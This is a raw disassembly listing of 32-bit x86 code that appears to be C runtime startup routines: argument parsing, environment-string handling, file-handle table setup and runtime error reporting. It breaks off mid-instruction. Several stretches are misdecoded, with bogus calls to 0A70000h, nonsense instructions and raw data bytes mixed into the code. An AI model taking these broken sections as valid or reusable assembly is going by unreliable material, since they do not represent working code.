test esi, esi jz short loc_41AA67 and byte ptr [esi], 0 inc esi loc_41AA67: ; CODE XREF: sub_41A9FC+65j cmp byte ptr [eax], 22h jnz short loc_41AAB2 inc eax jmp short loc_41AAB2 ; --------------------------------------------------------------------------- loc_41AA6F: ; CODE XREF: sub_41A9FC+2Dj ; sub_41A9FC+A5j inc dword ptr [ecx] test esi, esi jz short loc_41AA7A mov dl, [eax] mov [esi], dl inc esi loc_41AA7A: ; CODE XREF: sub_41A9FC+77j mov dl, [eax] inc eax movzx ebx, dl test ds:byte_45FD41[ebx], 4 jz short loc_41AA95 inc dword ptr [ecx] test esi, esi jz short loc_41AA94 mov bl, [eax] mov [esi], bl inc esi loc_41AA94: ; CODE XREF: sub_41A9FC+91j inc eax loc_41AA95: ; CODE XREF: sub_41A9FC+8Bj cmp dl, 20h jz short loc_41AAA3 test dl, dl jz short loc_41AAA7 cmp dl, 9 jnz short loc_41AA6F loc_41AAA3: ; CODE XREF: sub_41A9FC+9Cj test dl, dl jnz short loc_41AAAA loc_41AAA7: ; CODE XREF: sub_41A9FC+A0j dec eax jmp short loc_41AAB2 ; --------------------------------------------------------------------------- loc_41AAAA: ; CODE XREF: sub_41A9FC+A9j test esi, esi jz short loc_41AAB2 and byte ptr [esi-1], 0 loc_41AAB2: ; CODE XREF: sub_41A9FC+6Ej ; sub_41A9FC+71j ... and [ebp+arg_10], 0 loc_41AAB6: ; CODE XREF: sub_41A9FC+19Ej cmp byte ptr [eax], 0 jz loc_41AB9F loc_41AABF: ; CODE XREF: sub_41A9FC+D0j mov dl, [eax] cmp dl, 20h jz short loc_41AACB cmp dl, 9 jnz short loc_41AACE loc_41AACB: ; CODE XREF: sub_41A9FC+C8j inc eax jmp short loc_41AABF ; --------------------------------------------------------------------------- loc_41AACE: ; CODE XREF: sub_41A9FC+CDj cmp byte ptr [eax], 0 jz loc_41AB9F test edi, edi jz short loc_41AAE3 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41AAE3: ; CODE XREF: sub_41A9FC+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41AAE8: ; CODE XREF: sub_41A9FC+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41AAF1: ; CODE XREF: sub_41A9FC+FCj cmp byte ptr [eax], 5Ch jnz short loc_41AAFA inc eax inc ebx jmp short loc_41AAF1 ; --------------------------------------------------------------------------- loc_41AAFA: ; CODE XREF: sub_41A9FC+F8j cmp byte ptr [eax], 22h jnz short loc_41AB2B test bl, 1 jnz short loc_41AB29 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41AB18 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41AB18 mov eax, edx jmp short loc_41AB1B ; --------------------------------------------------------------------------- loc_41AB18: ; CODE XREF: sub_41A9FC+10Dj ; sub_41A9FC+116j mov [ebp+arg_0], edi loc_41AB1B: ; CODE XREF: sub_41A9FC+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41AB29: ; CODE XREF: sub_41A9FC+106j shr ebx, 1 loc_41AB2B: ; CODE XREF: sub_41A9FC+101j mov edx, ebx dec ebx test edx, edx jz short loc_41AB40 inc ebx loc_41AB33: ; CODE XREF: sub_41A9FC+142j test esi, esi jz short loc_41AB3B mov byte ptr [esi], 5Ch inc esi loc_41AB3B: ; CODE XREF: sub_41A9FC+139j inc dword ptr [ecx] dec ebx jnz short loc_41AB33 loc_41AB40: ; CODE XREF: sub_41A9FC+134j mov dl, [eax] test dl, dl jz short loc_41AB90 cmp [ebp+arg_10], 0 jnz short loc_41AB56 cmp dl, 20h jz short loc_41AB90 cmp dl, 9 jz short loc_41AB90 loc_41AB56: ; CODE XREF: sub_41A9FC+14Ej cmp [ebp+arg_0], 0 jz short loc_41AB8A test esi, esi jz short loc_41AB79 movzx ebx, dl test ds:byte_45FD41[ebx], 4 jz short loc_41AB72 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41AB72: ; CODE XREF: sub_41A9FC+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41AB88 ; --------------------------------------------------------------------------- loc_41AB79: ; CODE XREF: sub_41A9FC+162j movzx edx, dl test ds:byte_45FD41[edx], 4 jz short loc_41AB88 inc eax inc dword ptr [ecx] loc_41AB88: ; CODE XREF: sub_41A9FC+17Bj ; sub_41A9FC+187j inc dword ptr [ecx] loc_41AB8A: ; CODE XREF: sub_41A9FC+15Ej inc eax jmp loc_41AAE8 ; --------------------------------------------------------------------------- loc_41AB90: ; CODE XREF: sub_41A9FC+148j ; sub_41A9FC+153j ... test esi, esi jz short loc_41AB98 and byte ptr [esi], 0 inc esi loc_41AB98: ; CODE XREF: sub_41A9FC+196j inc dword ptr [ecx] jmp loc_41AAB6 ; --------------------------------------------------------------------------- loc_41AB9F: ; CODE XREF: sub_41A9FC+BDj ; sub_41A9FC+D5j test edi, edi jz short loc_41ABA6 and dword ptr [edi], 0 loc_41ABA6: ; CODE XREF: sub_41A9FC+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41A9FC endp ; =============== S U B R O U T I N E ======================================= sub_41ABB0 proc near ; CODE XREF: seg000:00415C07p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_45E9BC push ebx push ebp mov ebp, ds:dword_41F03C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41ABFE call ebp ; dword_41F03C mov esi, eax cmp esi, ebx jz short loc_41ABDF mov ds:dword_45E9BC, 1 jmp short loc_41AC07 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: sub_41ABB0+21j call ds:dword_41F1A0 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_41ACD9 mov ds:dword_45E9BC, 2 jmp loc_41AC8D ; --------------------------------------------------------------------------- loc_41ABFE: ; CODE XREF: sub_41ABB0+19j cmp eax, 1 jnz loc_41AC88 loc_41AC07: ; CODE XREF: sub_41ABB0+2Dj cmp esi, ebx jnz short loc_41AC17 call ebp ; dword_41F03C mov esi, eax cmp esi, ebx jz loc_41ACD9 loc_41AC17: ; CODE XREF: sub_41ABB0+59j cmp [esi], bx mov eax, esi jz short loc_41AC2C loc_41AC1E: ; CODE XREF: sub_41ABB0+73j ; sub_41ABB0+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41AC1E inc eax inc eax cmp [eax], bx jnz short loc_41AC1E loc_41AC2C: ; CODE XREF: sub_41ABB0+6Cj sub eax, esi mov edi, ds:dword_41F128 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_41F128 mov ebp, eax cmp ebp, ebx jz short loc_41AC7D push ebp call sub_413E5F cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41AC7D push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_41F128 test eax, eax jnz short loc_41AC79 push [esp+18h+var_8] call sub_413ED3 pop ecx mov [esp+18h+var_8], ebx loc_41AC79: ; CODE XREF: sub_41ABB0+B9j mov ebx, [esp+18h+var_8] loc_41AC7D: ; CODE XREF: sub_41ABB0+99j ; sub_41ABB0+A8j push esi call ds:dword_41F19C ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41ACDB ; --------------------------------------------------------------------------- loc_41AC88: ; CODE XREF: sub_41ABB0+51j cmp eax, 2 jnz short loc_41ACD9 loc_41AC8D: ; CODE XREF: sub_41ABB0+49j cmp edi, ebx jnz short loc_41AC9D call ds:dword_41F1A0 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_41ACD9 loc_41AC9D: ; CODE XREF: sub_41ABB0+DFj cmp [edi], bl mov eax, edi jz short loc_41ACAD loc_41ACA3: ; CODE XREF: sub_41ABB0+F6j ; sub_41ABB0+FBj inc eax cmp [eax], bl jnz short loc_41ACA3 inc eax cmp [eax], bl jnz short loc_41ACA3 loc_41ACAD: ; CODE XREF: sub_41ABB0+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_413E5F mov esi, eax pop ecx cmp esi, ebx jnz short loc_41ACC3 xor esi, esi jmp short loc_41ACCE ; --------------------------------------------------------------------------- loc_41ACC3: ; CODE XREF: sub_41ABB0+10Dj push ebp push edi push esi call sub_413690 add esp, 0Ch loc_41ACCE: ; CODE XREF: sub_41ABB0+111j push edi call near ptr 0A70000h db 64h mov eax, esi jmp short loc_41ACDB ; --------------------------------------------------------------------------- loc_41ACD9: ; CODE XREF: sub_41ABB0+39j ; sub_41ABB0+61j ... xor eax, eax loc_41ACDB: ; CODE XREF: sub_41ABB0+D6j ; sub_41ABB0+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41ABB0 endp ; --------------------------------------------------------------------------- loc_41ACE2: ; CODE XREF: seg000:00415BF7p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_413E5F mov esi, eax pop ecx test esi, esi jnz short loc_41AD02 push 1Bh call sub_415C7E pop ecx loc_41AD02: ; CODE XREF: seg000:0041ACF8j mov ds:dword_45FB20, esi mov ds:dword_45FC20, 20h lea eax, [esi+100h] loc_41AD18: ; CODE XREF: seg000:0041AD34j cmp esi, eax jnb short loc_41AD36 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, ds:dword_45FB20 add esi, 8 add eax, 100h jmp short loc_41AD18 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: seg000:0041AD1Aj lea eax, [esp+10h] push eax call near ptr 0A70000h add [esi-7Dh], ah jl short loc_41AD69 inc edx add [edi], cl test al, ch ; --------------------------------------------------------------------------- dw 0 dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h dd 2E1C8DF0h db 7Ch ; --------------------------------------------------------------------------- loc_41AD69: ; CODE XREF: seg000:0041AD43j add cl, [ebx+203539F0h] cld inc ebp add [ebp+52h], bh mov edi, offset dword_45FB24 loc_41AD79: ; CODE XREF: seg000:0041ADBCj push 100h call sub_413E5F test eax, eax pop ecx jz short loc_41ADC0 add ds:dword_45FC20, 20h mov [edi], eax lea ecx, [eax+100h] loc_41AD97: ; CODE XREF: seg000:0041ADB1j cmp eax, ecx jnb short loc_41ADB3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41AD97 ; --------------------------------------------------------------------------- loc_41ADB3: ; CODE XREF: seg000:0041AD99j add edi, 4 cmp ds:dword_45FC20, esi jl short loc_41AD79 jmp short loc_41ADC6 ; --------------------------------------------------------------------------- loc_41ADC0: ; CODE XREF: seg000:0041AD86j mov esi, ds:dword_45FC20 loc_41ADC6: ; CODE XREF: seg000:0041ADBEj xor edi, edi test esi, esi jle short loc_41AE12 loc_41ADCC: ; CODE XREF: seg000:0041AE10j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41AE09 mov cl, [ebp+0] test cl, 1 jz short loc_41AE09 test cl, 8 jnz short loc_41ADEB push eax call near ptr 0A70000h dec esp test eax, eax jz short loc_41AE09 loc_41ADEB: ; CODE XREF: seg000:0041ADDEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, ds:dword_45FB20[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41AE09: ; CODE XREF: seg000:0041ADD1j ; seg000:0041ADD9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41ADCC loc_41AE12: ; CODE XREF: seg000:0041ADCAj xor ebx, ebx loc_41AE14: ; CODE XREF: seg000:0041AE77j mov eax, ds:dword_45FB20 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41AE6F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41AE2F push 0FFFFFFF6h pop eax jmp short loc_41AE39 ; --------------------------------------------------------------------------- loc_41AE2F: ; CODE XREF: seg000:0041AE28j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41AE39: ; CODE XREF: seg000:0041AE2Dj push eax call near ptr 0A70000h xchg eax, esi mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41AE5E push edi call near ptr 0A70000h pushf test eax, eax jz short loc_41AE5E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41AE64 loc_41AE5E: ; CODE XREF: seg000:0041AE45j ; seg000:0041AE50j or byte ptr [esi+4], 40h jmp short loc_41AE73 ; --------------------------------------------------------------------------- loc_41AE64: ; CODE XREF: seg000:0041AE5Cj cmp eax, 3 jnz short loc_41AE73 or byte ptr [esi+4], 8 jmp short loc_41AE73 ; --------------------------------------------------------------------------- loc_41AE6F: ; CODE XREF: seg000:0041AE20j or byte ptr [esi+4], 80h loc_41AE73: ; CODE XREF: seg000:0041AE62j ; seg000:0041AE67j ... inc ebx cmp ebx, 3 jl short loc_41AE14 push ds:dword_45FC20 call near ptr 0A70000h rcr dword ptr [edi+5Eh], 1 pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE98 proc near ; DATA XREF: seg000:00415B92o ; sub_41872A+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41AF38 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41AECB: ; CODE XREF: sub_41AE98+90j cmp esi, 0FFFFFFFFh jz short loc_41AF31 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41AF1F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41AF1F js short loc_41AF2A mov edi, [ebx+8] push ebx call sub_414400 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_414442 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4144D6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41AF1F: ; CODE XREF: sub_41AE98+40j ; sub_41AE98+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41AECB ; --------------------------------------------------------------------------- loc_41AF2A: ; CODE XREF: sub_41AE98+54j mov eax, 0 jmp short loc_41AF4D ; --------------------------------------------------------------------------- loc_41AF31: ; CODE XREF: sub_41AE98+36j mov eax, 1 jmp short loc_41AF4D ; --------------------------------------------------------------------------- loc_41AF38: ; CODE XREF: sub_41AE98+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_414442 add esp, 8 pop ebp mov eax, 1 loc_41AF4D: ; CODE XREF: sub_41AE98+97j ; sub_41AE98+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41AE98 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_414442 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41AF70 proc near ; CODE XREF: sub_415C7E+9p ; sub_415CA3+9p mov eax, ds:dword_45E858 cmp eax, 1 jz short loc_41AF87 test eax, eax jnz short locret_41AFA8 cmp ds:dword_42D0E4, 1 jnz short locret_41AFA8 loc_41AF87: ; CODE XREF: sub_41AF70+8j push 0FCh call sub_41AFA9 mov eax, ds:dword_45E9C0 pop ecx test eax, eax jz short loc_41AF9D call eax ; dword_45E9C0 loc_41AF9D: ; CODE XREF: sub_41AF70+29j push 0FFh call sub_41AFA9 pop ecx locret_41AFA8: ; CODE XREF: sub_41AF70+Cj ; sub_41AF70+15j retn sub_41AF70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AFA9 proc near ; CODE XREF: sub_415C7E+12p ; sub_415CA3+12p ... var_72EC8A40 = dword ptr -72EC8A40h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_42D758 loc_41AFBC: ; CODE XREF: sub_41AFA9+20j cmp edx, [eax] jz short loc_41AFCB add eax, 8 inc ecx cmp eax, offset off_42D7E8 jl short loc_41AFBC loc_41AFCB: ; CODE XREF: sub_41AFA9+15j push esi mov esi, ecx shl esi, 3 cmp edx, ds:dword_42D758[esi] jnz loc_41B0F9 mov eax, ds:dword_45E858 cmp eax, 1 jz loc_41B0D3 test eax, eax jnz short loc_41AFFC cmp ds:dword_42D0E4, 1 jz loc_41B0D3 loc_41AFFC: ; CODE XREF: sub_41AFA9+44j cmp edx, 0FCh jz loc_41B0F9 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 0A70000h xchg eax, [ebp+var_72EC8A40] test [esi+edi*8-1], ebx jmp fword ptr [eax+5Ch] ; --------------------------------------------------------------------------- dd 500041FBh, 0FF8C8FE8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh dd 0FFFE5CBDh, 8D6AE8FFh, 5940FFFFh, 763CF883h, 5C858D29h dd 50FFFFFEh, 0FF8D57E8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh dd 0F803036Ah, 41FB5868h, 5DE85700h, 83FFFF9Dh, 858D10C4h dd 0FFFFFF60h, 41FB3C68h, 39E85000h, 8DFFFF8Ch, 0FFFF6085h dd 0E85057FFh, 0FFFF8C3Ch, 0FF60858Dh, 3868FFFFh, 500041FBh dd 0FF8C2BE8h, 5CB6FFFFh, 8D0042D7h, 0FFFF6085h, 19E850FFh dd 68FFFF8Ch, 12010h, 0FF60858Dh, 1068FFFFh, 500041FBh dd 16B1E8h, 2CC48300h ; --------------------------------------------------------------------------- pop edi jmp short loc_41B0F9 ; --------------------------------------------------------------------------- loc_41B0D3: ; CODE XREF: sub_41AFA9+3Cj ; sub_41AFA9+4Dj lea eax, [ebp+arg_0] lea esi, off_42D75C[esi] push 0 push eax push dword ptr [esi] call sub_413DB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 0A70000h jl short near ptr sub_41B140+3 call near ptr 0A70000h pusha loc_41B0F9: ; CODE XREF: sub_41AFA9+2Ej ; sub_41AFA9+59j ... pop esi leave retn sub_41AFA9 endp ; =============== S U B R O U T I N E ======================================= sub_41B0FC proc near ; CODE XREF: sub_415CC7+6Cp ; sub_419940+32p ... arg_0 = dword ptr 4 inc ds:dword_45E9C4 push 1000h call sub_413E5F pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41B125 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41B136 ; --------------------------------------------------------------------------- loc_41B125: ; CODE XREF: sub_41B0FC+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41B136: ; CODE XREF: sub_41B0FC+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41B0FC endp ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_415CC7+61p ; sub_416846+8p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_45FC20 jb short loc_41B14F xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B14F: ; CODE XREF: sub_41B140+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_45FB20[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41B140 endp ; =============== S U B R O U T I N E ======================================= sub_41B166 proc near ; DATA XREF: seg002:0042101Co mov eax, ds:dword_45FB00 push esi push 14h test eax, eax pop esi jnz short loc_41B17A mov eax, 200h jmp short loc_41B180 ; --------------------------------------------------------------------------- loc_41B17A: ; CODE XREF: sub_41B166+Bj cmp eax, esi jge short loc_41B185 mov eax, esi loc_41B180: ; CODE XREF: sub_41B166+12j mov ds:dword_45FB00, eax loc_41B185: ; CODE XREF: sub_41B166+16j push 4 push eax call sub_41C807 pop ecx mov ds:dword_45EAF0, eax test eax, eax pop ecx jnz short loc_41B1B9 push 4 push esi mov ds:dword_45FB00, esi call sub_41C807 pop ecx mov ds:dword_45EAF0, eax test eax, eax pop ecx jnz short loc_41B1B9 push 1Ah call sub_415C7E pop ecx loc_41B1B9: ; CODE XREF: sub_41B166+30j ; sub_41B166+49j xor ecx, ecx mov eax, offset off_42D7E8 loc_41B1C0: ; CODE XREF: sub_41B166+6Ej mov edx, ds:dword_45EAF0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_42DA68 jl short loc_41B1C0 xor edx, edx mov ecx, offset dword_42D7F8 loc_41B1DD: ; CODE XREF: sub_41B166+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, ds:dword_45FB20[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41B1FA test eax, eax jnz short loc_41B1FD loc_41B1FA: ; CODE XREF: sub_41B166+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41B1FD: ; CODE XREF: sub_41B166+92j add ecx, 20h inc edx cmp ecx, offset dword_42D858 jl short loc_41B1DD pop esi retn sub_41B166 endp ; =============== S U B R O U T I N E ======================================= sub_41B20B proc near ; DATA XREF: seg002:0042102Co ; FUNCTION CHUNK AT 0041C884 SIZE 00000058 BYTES call sub_4167D0 cmp ds:byte_45E844, 0 jz short locret_41B21E jmp loc_41C884 ; --------------------------------------------------------------------------- locret_41B21E: ; CODE XREF: sub_41B20B+Cj retn sub_41B20B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B21F proc near ; CODE XREF: sub_415DDC+2D4p ; sub_415DDC+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41B22B pop ebp retn ; --------------------------------------------------------------------------- loc_41B22B: ; CODE XREF: sub_41B21F+8j cmp ds:dword_45E898, 0 jnz short loc_41B246 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41B278 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41B246: ; CODE XREF: sub_41B21F+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push ds:dword_42D2FC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push ds:dword_45E8A8 call ds:dword_41F128 ; CODE XREF: seg000:0041B2E5j test eax, eax jz short loc_41B278 cmp [ebp+arg_0], 0 jz short loc_41B285 loc_41B278: ; CODE XREF: sub_41B21F+1Ej ; sub_41B21F+51j mov ds:dword_45E804, 2Ah or eax, 0FFFFFFFFh loc_41B285: ; CODE XREF: sub_41B21F+57j pop ebp retn sub_41B21F endp ; --------------------------------------------------------------------------- loc_41B287: ; CODE XREF: sub_4165E6+5Ep ; seg000:0041A329p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41FB78 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, ds:dword_45E9C8 xor ebx, ebx cmp eax, ebx jnz short loc_41B2F6 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_41F868 push esi call ds:dword_41F028 ; GetStringTypeW test eax, eax jz short loc_41B2D4 mov eax, esi jmp short loc_41B2F1 ; --------------------------------------------------------------------------- loc_41B2D4: ; CODE XREF: seg000:0041B2CEj lea eax, [ebp-1Ch] push eax push esi push offset dword_42E344 push esi push ebx call near ptr 0A70000h jb short near ptr loc_41B268+4 ror byte ptr [edi], 84h into ; --------------------------------------------------------------------------- db 0 dd 26A0000h ; --------------------------------------------------------------------------- pop eax loc_41B2F1: ; CODE XREF: seg000:0041B2D2j mov ds:dword_45E9C8, eax loc_41B2F6: ; CODE XREF: seg000:0041B2B6j cmp eax, 2 jnz short loc_41B31F mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_41B307 mov eax, ds:dword_45E898 loc_41B307: ; CODE XREF: seg000:0041B300j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 0A70000h sbb ebp, ecx lahf ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_41B31F: ; CODE XREF: seg000:0041B2F9j cmp eax, 1 jnz loc_41B3BC cmp [ebp+18h], ebx jnz short loc_41B335 mov eax, ds:dword_45E8A8 mov [ebp+18h], eax loc_41B335: ; CODE XREF: seg000:0041B32Bj push ebx push ebx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] mov eax, [ebp+20h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+18h] call ds:dword_41F12C ; MultiByteToWideChar mov [ebp-20h], eax cmp eax, ebx jz short loc_41B3BC mov [ebp-4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_413E30 mov [ebp-18h], esp mov esi, esp mov [ebp-24h], esi push edi push ebx push esi call sub_413630 add esp, 0Ch jmp short loc_41B38B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor esi, esi loc_41B38B: ; CODE XREF: seg000:0041B37Ej or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_41B3BC push dword ptr [ebp-20h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call ds:dword_41F12C ; MultiByteToWideChar cmp eax, ebx jz short loc_41B3BC push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call ds:dword_41F028 ; GetStringTypeW jmp short loc_41B3BE ; --------------------------------------------------------------------------- loc_41B3BC: ; CODE XREF: seg000:0041B322j ; seg000:0041B357j ... xor eax, eax loc_41B3BE: ; CODE XREF: seg000:0041B3BAj lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_41B5EA:loc_41B762p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_45FB20 loc_41B3DF: ; CODE XREF: sub_41B3D0+48j mov eax, [ecx] test eax, eax jz short loc_41B41C lea edx, [eax+100h] loc_41B3EB: ; CODE XREF: sub_41B3D0+28j cmp eax, edx jnb short loc_41B40B test byte ptr [eax+4], 1 jz short loc_41B3FA add eax, 8 jmp short loc_41B3EB ; --------------------------------------------------------------------------- loc_41B3FA: ; CODE XREF: sub_41B3D0+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B45F loc_41B40B: ; CODE XREF: sub_41B3D0+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_45FC20 jl short loc_41B3DF jmp short loc_41B45F ; --------------------------------------------------------------------------- loc_41B41C: ; CODE XREF: sub_41B3D0+13j mov esi, 100h push esi call sub_413E5F test eax, eax pop ecx jz short loc_41B45F add ds:dword_45FC20, 20h lea ecx, ds:45FB20h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41B442: ; CODE XREF: sub_41B3D0+88j cmp eax, edx jnb short loc_41B45A and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41B442 ; --------------------------------------------------------------------------- loc_41B45A: ; CODE XREF: sub_41B3D0+74j shl edi, 5 mov ebx, edi loc_41B45F: ; CODE XREF: sub_41B3D0+39j ; sub_41B3D0+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41B3D0 endp ; --------------------------------------------------------------------------- loc_41B465: ; CODE XREF: sub_41B5EA+1F4p mov eax, [esp+4] push esi cmp eax, ds:dword_45FC20 push edi jnb short loc_41B4C5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:45FB20h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41B4C5 cmp ds:dword_42D0E4, 1 push ebx mov ebx, [esp+14h] jnz short near ptr loc_41B4BA+1 sub eax, 0 jz short loc_41B4B2 dec eax jz short loc_41B4AD dec eax jnz short near ptr loc_41B4BA+1 push ebx push 0FFFFFFF4h jmp short loc_41B4B5 ; --------------------------------------------------------------------------- loc_41B4AD: ; CODE XREF: seg000:0041B4A3j push ebx push 0FFFFFFF5h jmp short loc_41B4B5 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: seg000:0041B4A0j push ebx push 0FFFFFFF6h loc_41B4B5: ; CODE XREF: seg000:0041B4ABj ; seg000:0041B4B0j call near ptr 0A70000h loc_41B4BA: ; CODE XREF: seg000:0041B49Bj ; seg000:0041B4A6j and [ebx+301C8907h], ecx xor eax, eax pop ebx jmp short 